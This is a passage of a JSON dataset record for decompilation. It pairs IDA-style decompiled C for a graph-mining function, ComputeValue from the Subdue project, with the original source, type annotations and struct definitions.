9.223372036854776e18) ^ 0x8000000000000000LL;\nelse\nv17 = (unsigned int)(int)v16;\nv47 += v17;\nv18 = v40[11];\nif ( v18 >= 9.223372036854776e18 )\nv19 = (unsigned int)(int)(v18 - 9.223372036854776e18) ^ 0x8000000000000000LL;\nelse\nv19 = (unsigned int)(int)v18;\nv46 += v19;\n}\nelse\n{\n*((double *)&v44 + 1) = v40[10] + *((double *)&v44 + 1);\n*(double *)&v44 = v40[11] + *(double *)&v44;\n}\nv49 += *((_QWORD *)v40 + 1);\nv48 += *((_QWORD *)v40 + 4);\nv50 = 1;\nbreak;\n}\nv51 = (double **)v51[1];\n}\nif ( !v50 && *(_QWORD *)(a8 + 1696) != 3LL )\n{\nv20 = *(_QWORD *)(v41 + 16) + *(_QWORD *)(v41 + 24);\nif ( v20 < 0 )\nv21 = (double)(int)(v20 & 1 | ((unsigned __int64)v20 >> 1))\n+ (double)(int)(v20 & 1 | ((unsigned __int64)v20 >> 1));\nelse\nv21 = (double)(int)v20;\n*((double *)&v44 + 1) = v21 + *((double *)&v44 + 1);\nv22 = *(_QWORD *)(v41 + 32) + *(_QWORD *)(v41 + 40);\nif ( v22 < 0 )\nv23 = (double)(int)(v22 & 1 | ((unsigned __int64)v22 >> 1))\n+ (double)(int)(v22 & 1 | ((unsigned __int64)v22 >> 1));\nelse\nv23 = (double)(int)v22;\n*(double *)&v44 = v23 + *(double *)&v44;\n}\nv39 = (__int64 *)v39[1];\n}\n*a4 = v49;\n*a5 = v48;\nif ( *((double *)&v45 + 1) >= 9.223372036854776e18 )\nv24 = (unsigned int)(int)(*((double *)&v45 + 1) - 9.223372036854776e18) ^ 0x8000000000000000LL;\nelse\nv24 = (unsigned int)(int)*((double *)&v45 + 1);\n*a6 = v24;\nif ( *(double *)&v45 >= 9.223372036854776e18 )\nv25 = (unsigned int)(int)(*(double *)&v45 - 9.223372036854776e18) ^ 0x8000000000000000LL;\nelse\nv25 = (unsigned int)(int)*(double *)&v45;\n*a7 = v25;\nif ( *(_QWORD *)(a8 + 1696) == 3LL )\n{\nv26 = *(_QWORD *)(a8 + 1568) - v46 + v47;\nif ( v26 < 0 )\nv27 = (double)(int)(v26 & 1 | ((unsigned __int64)v26 >> 1))\n+ (double)(int)(v26 & 1 | ((unsigned __int64)v26 >> 1));\nelse\nv27 = (double)(int)v26;\nv28 = *(_QWORD *)(a8 + 1568) + *(_QWORD *)(a8 + 1576);\nif ( v28 < 0 )\nv29 = (double)(int)(v28 & 1 | ((unsigned __int64)v28 >> 1))\n+ (double)(int)(v28 & 1 | ((unsigned __int64)v28 >> 1));\nelse\nv29 = (double)(int)v28;\nv43 = v27 / v29;\n}\nelse if ( *(double *)&v45 == 0.0 )\n{\nv30 = GraphSize(*a2);\nif ( v30 < 0 )\nv31 = (double)(int)(v30 & 1 | ((unsigned __int64)v30 >> 1))\n+ (double)(int)(v30 & 1 | ((unsigned __int64)v30 >> 1));\nelse\nv31 = (double)(int)v30;\nv43 = *((double *)&v45 + 1) / (v31 + *((double *)&v44 + 1));\n}\nelse\n{\nv32 = GraphSize(*a2);\nif ( v32 < 0 )\nv33 = (double)(int)(v32 & 1 | ((unsigned __int64)v32 >> 1))\n+ (double)(int)(v32 & 1 | ((unsigned __int64)v32 >> 1));\nelse\nv33 = (double)(int)v32;\nv43 = (*((double *)&v45 + 1) + *(double *)&v45) / (v33 + *((double *)&v44 + 1) + *(double *)&v45 - *(double *)&v44);\n}\nreturn v43;\n}\n", "canonical_decompiled_code": "double __fastcall func1(__int64 *a1, _QWORD *a2, __int64 a3, _QWORD *a4, _QWORD *a5, unsigned __int64 *a6, unsigned __int64 *a7, __int64 a8)\n{\n__int64 v8; // rax\ndouble v9; // xmm0_8\n__int64 v10; // rax\ndouble v11; // xmm0_8\n__int64 v12; // rax\ndouble v13; // xmm0_8\n__int64 v14; // rax\ndouble v15; // xmm0_8\ndouble v16; // xmm0_8\nunsigned __int64 v17; // rax\ndouble v18; // xmm0_8\nunsigned __int64 v19; // rax\n__int64 v20; // rax\ndouble v21; // xmm0_8\n__int64 v22; // rax\ndouble v23; // xmm0_8\nunsigned __int64 v24; // rax\nunsigned __int64 v25; // rax\n__int64 v26; // rax\ndouble v27; // xmm0_8\n__int64 v28; // rax\ndouble v29; // xmm1_8\n__int64 v30; // rax\ndouble v31; // xmm0_8\n__int64 v32; // rax\ndouble v33; // xmm0_8\n__int64 *v39; // [rsp+38h] [rbp-88h]\ndouble *v40; // [rsp+48h] [rbp-78h]\n__int64 v41; // [rsp+50h] [rbp-70h]\nunsigned __int64 v42; // [rsp+58h] [rbp-68h]\ndouble v43; // [rsp+60h] [rbp-60h]\n__int128 v44; // [rsp+68h] [rbp-58h]\n__int128 v45; // [rsp+78h] [rbp-48h]\n__int64 v46; // [rsp+88h] [rbp-38h]\n__int64 v47; // [rsp+90h] [rbp-30h]\n__int64 v48; // [rsp+98h] [rbp-28h]\n__int64 v49; // [rsp+A0h] [rbp-20h]\nchar v50; // [rsp+AFh] [rbp-11h]\ndouble **v51; // [rsp+B0h] [rbp-10h]\n_QWORD *i; // [rsp+B8h] [rbp-8h]\n\nv39 = a1;\nv49 = 0LL;\nv48 = 0LL;\nv47 = 0LL;\nv46 = 0LL;\nv45 = 0uLL;\nv44 = 0uLL;\nif ( !a1 )\nputs(\"ComputeValue Error: incNodePtr is null\");\nif ( *(_QWORD *)(a8 + 1696) != 3LL )\n{\nv42 = *(_QWORD *)(*a1 + 8);\nif ( v42 != *(_QWORD *)(***(_QWORD ***)(a8 + 1752) + 8LL) )\n{\nfor ( i = **(_QWORD ***)(a8 + 1752); v42 > *(_QWORD *)(*i + 8LL); i = (_QWORD *)i[1] )\n{\nv8 = *(_QWORD *)(*i + 16LL) + *(_QWORD *)(*i + 24LL);\nif ( v8 < 0 )\nv9 = (double)(int)(v8 & 1 | ((unsigned __int64)v8 >> 1)) + (double)(int)(v8 & 1 | ((unsigned __int64)v8 >> 1));\nelse\nv9 = (double)(int)v8;\n*((double *)&v45 + 1) = v9 + *((double *)&v45 + 1);\nv10 = *(_QWORD *)(*i + 32LL) + *(_QWORD *)(*i + 40LL);\nif ( v10 < 0 )\nv11 = (double)(int)(v10 & 1 | ((unsigned __int64)v10 >> 1))\n+ (double)(int)(v10 & 1 | ((unsigned __int64)v10 >> 1));\nelse\nv11 = (double)(int)v10;\n*(double *)&v45 = v11 + *(double *)&v45;\n}\nv44 = v45;\n}\n}\nwhile ( v39 )\n{\nv41 = *v39;\nif ( *(_QWORD *)(a8 + 1696) != 3LL )\n{\nv12 = *(_QWORD *)(v41 + 16) + *(_QWORD *)(v41 + 24);\nif ( v12 < 0 )\nv13 = (double)(int)(v12 & 1 | ((unsigned __int64)v12 >> 1))\n+ (double)(int)(v12 & 1 | ((unsigned __int64)v12 >> 1));\nelse\nv13 = (double)(int)v12;\n*((double *)&v45 + 1) = v13 + *((double *)&v45 + 1);\nv14 = *(_QWORD *)(v41 + 32) + *(_QWORD *)(v41 + 40);\nif ( v14 < 0 )\nv15 = (double)(int)(v14 & 1 | ((unsigned __int64)v14 >> 1))\n+ (double)(int)(v14 & 1 | ((unsigned __int64)v14 >> 1));\nelse\nv15 = (double)(int)v14;\n*(double *)&v45 = v15 + *(double *)&v45;\n}\nv51 = **(double ****)v41;\nv50 = 0;\nwhile ( v51 )\n{\nv40 = *v51;\nif ( (unsigned __int8)GraphMatch(*(_QWORD *)*v51, *a2, a3, 0LL, 0LL, 0.0) )\n{\nif ( *(_QWORD *)(a8 + 1696) == 3LL )\n{\nv16 = v40[10];\nif ( v16 >= 9.223372036854776e18 )\nv17 = (unsigned int)(int)(v16 - 9.223372036854776e18) ^ 0x8000000000000000LL;\nelse\nv17 = (unsigned int)(int)v16;\nv47 += v17;\nv18 = v40[11];\nif ( v18 >= 9.223372036854776e18 )\nv19 = (unsigned int)(int)(v18 - 9.223372036854776e18) ^ 0x8000000000000000LL;\nelse\nv19 = (unsigned int)(int)v18;\nv46 += v19;\n}\nelse\n{\n*((double *)&v44 + 1) = v40[10] + *((double *)&v44 + 1);\n*(double *)&v44 = v40[11] + *(double *)&v44;\n}\nv49 += *((_QWORD *)v40 + 1);\nv48 += *((_QWORD *)v40 + 4);\nv50 = 1;\nbreak;\n}\nv51 = (double **)v51[1];\n}\nif ( !v50 && *(_QWORD *)(a8 + 1696) != 3LL )\n{\nv20 = *(_QWORD *)(v41 + 16) + *(_QWORD *)(v41 + 24);\nif ( v20 < 0 )\nv21 = (double)(int)(v20 & 1 | ((unsigned __int64)v20 >> 1))\n+ (double)(int)(v20 & 1 | ((unsigned __int64)v20 >> 1));\nelse\nv21 = (double)(int)v20;\n*((double *)&v44 + 1) = v21 + *((double *)&v44 + 1);\nv22 = *(_QWORD *)(v41 + 32) + *(_QWORD *)(v41 + 40);\nif ( v22 < 0 )\nv23 = (double)(int)(v22 & 1 | ((unsigned __int64)v22 >> 1))\n+ (double)(int)(v22 & 1 | ((unsigned __int64)v22 >> 1));\nelse\nv23 = (double)(int)v22;\n*(double *)&v44 = v23 + *(double *)&v44;\n}\nv39 = (__int64 *)v39[1];\n}\n*a4 = v49;\n*a5 = v48;\nif ( *((double *)&v45 + 1) >= 9.223372036854776e18 )\nv24 = (unsigned int)(int)(*((double *)&v45 + 1) - 9.223372036854776e18) ^ 0x8000000000000000LL;\nelse\nv24 = (unsigned int)(int)*((double *)&v45 + 1);\n*a6 = v24;\nif ( *(double *)&v45 >= 9.223372036854776e18 )\nv25 = (unsigned int)(int)(*(double *)&v45 - 9.223372036854776e18) ^ 0x8000000000000000LL;\nelse\nv25 = (unsigned int)(int)*(double *)&v45;\n*a7 = v25;\nif ( *(_QWORD *)(a8 + 1696) == 3LL )\n{\nv26 = *(_QWORD *)(a8 + 1568) - v46 + v47;\nif ( v26 < 0 )\nv27 = (double)(int)(v26 & 1 | ((unsigned __int64)v26 >> 1))\n+ (double)(int)(v26 & 1 | ((unsigned __int64)v26 >> 1));\nelse\nv27 = (double)(int)v26;\nv28 = *(_QWORD *)(a8 + 1568) + *(_QWORD *)(a8 + 1576);\nif ( v28 < 0 )\nv29 = (double)(int)(v28 & 1 | ((unsigned __int64)v28 >> 1))\n+ (double)(int)(v28 & 1 | ((unsigned __int64)v28 >> 1));\nelse\nv29 = (double)(int)v28;\nv43 = v27 / v29;\n}\nelse if ( *(double *)&v45 == 0.0 )\n{\nv30 = GraphSize(*a2);\nif ( v30 < 0 )\nv31 = (double)(int)(v30 & 1 | ((unsigned __int64)v30 >> 1))\n+ (double)(int)(v30 & 1 | ((unsigned __int64)v30 >> 1));\nelse\nv31 = (double)(int)v30;\nv43 = *((double *)&v45 + 1) / (v31 + *((double *)&v44 + 1));\n}\nelse\n{\nv32 = GraphSize(*a2);\nif ( v32 < 0 )\nv33 = (double)(int)(v32 & 1 | ((unsigned __int64)v32 >> 1))\n+ (double)(int)(v32 & 1 | ((unsigned __int64)v32 >> 1));\nelse\nv33 = (double)(int)v32;\nv43 = (*((double *)&v45 + 1) + *(double *)&v45) / (v33 + *((double *)&v44 + 1) + *(double *)&v45 - *(double *)&v44);\n}\nreturn v43;\n}", "original_code": "double ComputeValue(IncrementListNode *incNodePtr, Substructure *sub,\n LabelList *labelList, ULONG *numPosInstances,\n ULONG *numNegInstances, ULONG *graphPosSize,\n ULONG *graphNegSize, Parameters *parameters)\n{\n Increment *increment;\n IncrementListNode *incrementNode;\n SubListNode *subListNode;\n Substructure *incrementSub;\n BOOLEAN found = 0;\n ULONG totalPosInstances = 0;\n ULONG totalNegInstances = 0;\n ULONG totalPosEgs = 0;\n ULONG totalNegEgs = 0;\n ULONG startIncrement;\n double totalPosGraphSize = 0;\n double totalNegGraphSize = 0;\n double compressedPosGraphSize = 0;\n double compressedNegGraphSize = 0;\n double subValue;\n if (incNodePtr == ((void *)0))\n printf(\"ComputeValue Error: incNodePtr is null\\n\");\n if (parameters->evalMethod != 3)\n {\n startIncrement = incNodePtr->increment->incrementNum;\n if (startIncrement !=\n parameters->incrementList->head->increment->incrementNum)\n {\n incrementNode = parameters->incrementList->head;\n while (incrementNode->increment->incrementNum < startIncrement)\n {\n increment = incrementNode->increment;\n totalPosGraphSize += increment->numPosVertices +\n increment->numPosEdges;\n totalNegGraphSize += increment->numNegVertices +\n increment->numNegEdges;\n incrementNode = incrementNode->next;\n }\n compressedPosGraphSize = totalPosGraphSize;\n compressedNegGraphSize = totalNegGraphSize;\n }\n }\n while (incNodePtr != ((void *)0))\n {\n increment = incNodePtr->increment;\n if (parameters->evalMethod != 3)\n {\n totalPosGraphSize += increment->numPosVertices +\n increment->numPosEdges;\n totalNegGraphSize += increment->numNegVertices +\n increment->numNegEdges;\n }\n subListNode = increment->subList->head;\n found = 0;\n while (subListNode != ((void *)0))\n {\n incrementSub = subListNode->sub;\n if (GraphMatch(incrementSub->definition, sub->definition, labelList,\n 0.0, ((void *)0), ((void *)0)))\n {\n if (parameters->evalMethod == 3)\n {\n totalPosEgs += (ULONG) incrementSub->posIncrementValue;\n totalNegEgs += (ULONG) incrementSub->negIncrementValue;\n }\n else\n {\n compressedPosGraphSize += incrementSub->posIncrementValue;\n compressedNegGraphSize += incrementSub->negIncrementValue;\n }\n totalPosInstances += incrementSub->numInstances;\n totalNegInstances += incrementSub->numNegInstances;\n found = 1;\n break;\n }\n subListNode = subListNode->next;\n }\n if (!found && parameters->evalMethod != 3)\n {\n compressedPosGraphSize += increment->numPosVertices +\n increment->numPosEdges;\n compressedNegGraphSize += increment->numNegVertices +\n increment->numNegEdges;\n }\n incNodePtr = incNodePtr->next;\n }\n *numPosInstances = totalPosInstances;\n *numNegInstances = totalNegInstances;\n *graphPosSize = totalPosGraphSize;\n *graphNegSize = totalNegGraphSize;\n if (parameters->evalMethod == 3)\n {\n subValue = ((double) (totalPosEgs +\n (parameters->numPosEgs - totalNegEgs))) /\n ((double) (parameters->numPosEgs + parameters->numNegEgs));\n }\n else\n {\n if (totalNegGraphSize == 0)\n subValue = totalPosGraphSize /\n ((double) GraphSize(sub->definition) +\n compressedPosGraphSize);\n else\n subValue = (totalPosGraphSize + totalNegGraphSize) /\n ((double) GraphSize(sub->definition) +\n compressedPosGraphSize + totalNegGraphSize -\n compressedNegGraphSize);\n }\n return(subValue);\n}", "canonical_original_code": "double ComputeValue(struct _increment_list_node *incNodePtr, struct Substructure *sub, struct LabelList *labelList, unsigned long *numPosInstances, unsigned long *numNegInstances, unsigned long *graphPosSize, unsigned long *graphNegSize, struct Parameters *parameters)\n{\n struct _increment *increment;\n struct _increment_list_node *incrementNode;\n struct _sub_list_node *subListNode;\n struct Substructure *incrementSub;\n unsigned char found = 0;\n unsigned long totalPosInstances = 0;\n unsigned long totalNegInstances = 0;\n unsigned long totalPosEgs = 0;\n unsigned long totalNegEgs = 0;\n unsigned long startIncrement;\n double totalPosGraphSize = 0;\n double totalNegGraphSize = 0;\n double compressedPosGraphSize = 0;\n double compressedNegGraphSize = 0;\n double subValue;\n if (incNodePtr == ((void *)0))\n printf(\"ComputeValue Error: incNodePtr is null\\n\");\n if (parameters->evalMethod != 3)\n {\n startIncrement = incNodePtr->increment->incrementNum;\n if (startIncrement !=\n parameters->incrementList->head->increment->incrementNum)\n {\n incrementNode = parameters->incrementList->head;\n while (incrementNode->increment->incrementNum < startIncrement)\n {\n increment = incrementNode->increment;\n totalPosGraphSize += increment->numPosVertices +\n increment->numPosEdges;\n totalNegGraphSize += increment->numNegVertices +\n increment->numNegEdges;\n incrementNode = incrementNode->next;\n }\n compressedPosGraphSize = totalPosGraphSize;\n compressedNegGraphSize = totalNegGraphSize;\n }\n }\n while (incNodePtr != ((void *)0))\n {\n increment = incNodePtr->increment;\n if (parameters->evalMethod != 3)\n {\n totalPosGraphSize += increment->numPosVertices +\n increment->numPosEdges;\n totalNegGraphSize += increment->numNegVertices +\n increment->numNegEdges;\n }\n subListNode = increment->subList->head;\n found = 0;\n while (subListNode != ((void *)0))\n {\n incrementSub = subListNode->sub;\n if (GraphMatch(incrementSub->definition, sub->definition, labelList,\n 0.0, ((void *)0), ((void *)0)))\n {\n if (parameters->evalMethod == 3)\n {\n totalPosEgs += (unsigned long) incrementSub->posIncrementValue;\n totalNegEgs += (unsigned long) incrementSub->negIncrementValue;\n }\n else\n {\n compressedPosGraphSize += incrementSub->posIncrementValue;\n compressedNegGraphSize += incrementSub->negIncrementValue;\n }\n totalPosInstances += incrementSub->numInstances;\n totalNegInstances += incrementSub->numNegInstances;\n found = 1;\n break;\n }\n subListNode = subListNode->next;\n }\n if (!found && parameters->evalMethod != 3)\n {\n compressedPosGraphSize += increment->numPosVertices +\n increment->numPosEdges;\n compressedNegGraphSize += increment->numNegVertices +\n increment->numNegEdges;\n }\n incNodePtr = incNodePtr->next;\n }\n *numPosInstances = totalPosInstances;\n *numNegInstances = totalNegInstances;\n *graphPosSize = totalPosGraphSize;\n *graphNegSize = totalNegGraphSize;\n if (parameters->evalMethod == 3)\n {\n subValue = ((double) (totalPosEgs +\n (parameters->numPosEgs - totalNegEgs))) /\n ((double) (parameters->numPosEgs + parameters->numNegEgs));\n }\n else\n {\n if (totalNegGraphSize == 0)\n subValue = totalPosGraphSize /\n ((double) GraphSize(sub->definition) +\n compressedPosGraphSize);\n else\n subValue = (totalPosGraphSize + totalNegGraphSize) /\n ((double) GraphSize(sub->definition) +\n compressedPosGraphSize + totalNegGraphSize -\n compressedNegGraphSize);\n }\n return(subValue);\n}", "variable_types": [ [ "incNodePtr", "struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *" ], [ "sub", "struct Substructure *" ], [ "labelList", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *" ], [ "numPosInstances", "unsigned long *" ], [ "numNegInstances", "unsigned long *" ], [ "graphPosSize", "unsigned long *" ], [ "graphNegSize", "unsigned long *" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "increment", "struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *" ], [ "incrementNode", "struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *" ], [ "subListNode", "struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *" ], [ "incrementSub", "struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *" ], [ "found", "unsigned char" ], [ "totalPosInstances", "unsigned long" ], [ "totalNegInstances", "unsigned long" ], [ "totalPosEgs", "unsigned long" ], [ "totalNegEgs", "unsigned long" ], [ "startIncrement", "unsigned long" ], [ "totalPosGraphSize", "double" ], [ "totalNegGraphSize", "double" ], [ "compressedPosGraphSize", "double" ], [ "compressedNegGraphSize", "double" ], [ "subValue", "double" ] ], "return_type": "double", "user_defined_types": [ "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct SubList { struct _sub_list_node *head; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct InstanceList { struct _instance_list_node *head; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }" ], "binary_hash": "0ae781e6d7e0b95f7c53a00731ce3080be45a3b4bd2beca8928ef06fe8795b40" } ]
0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea
gromgull/subdue
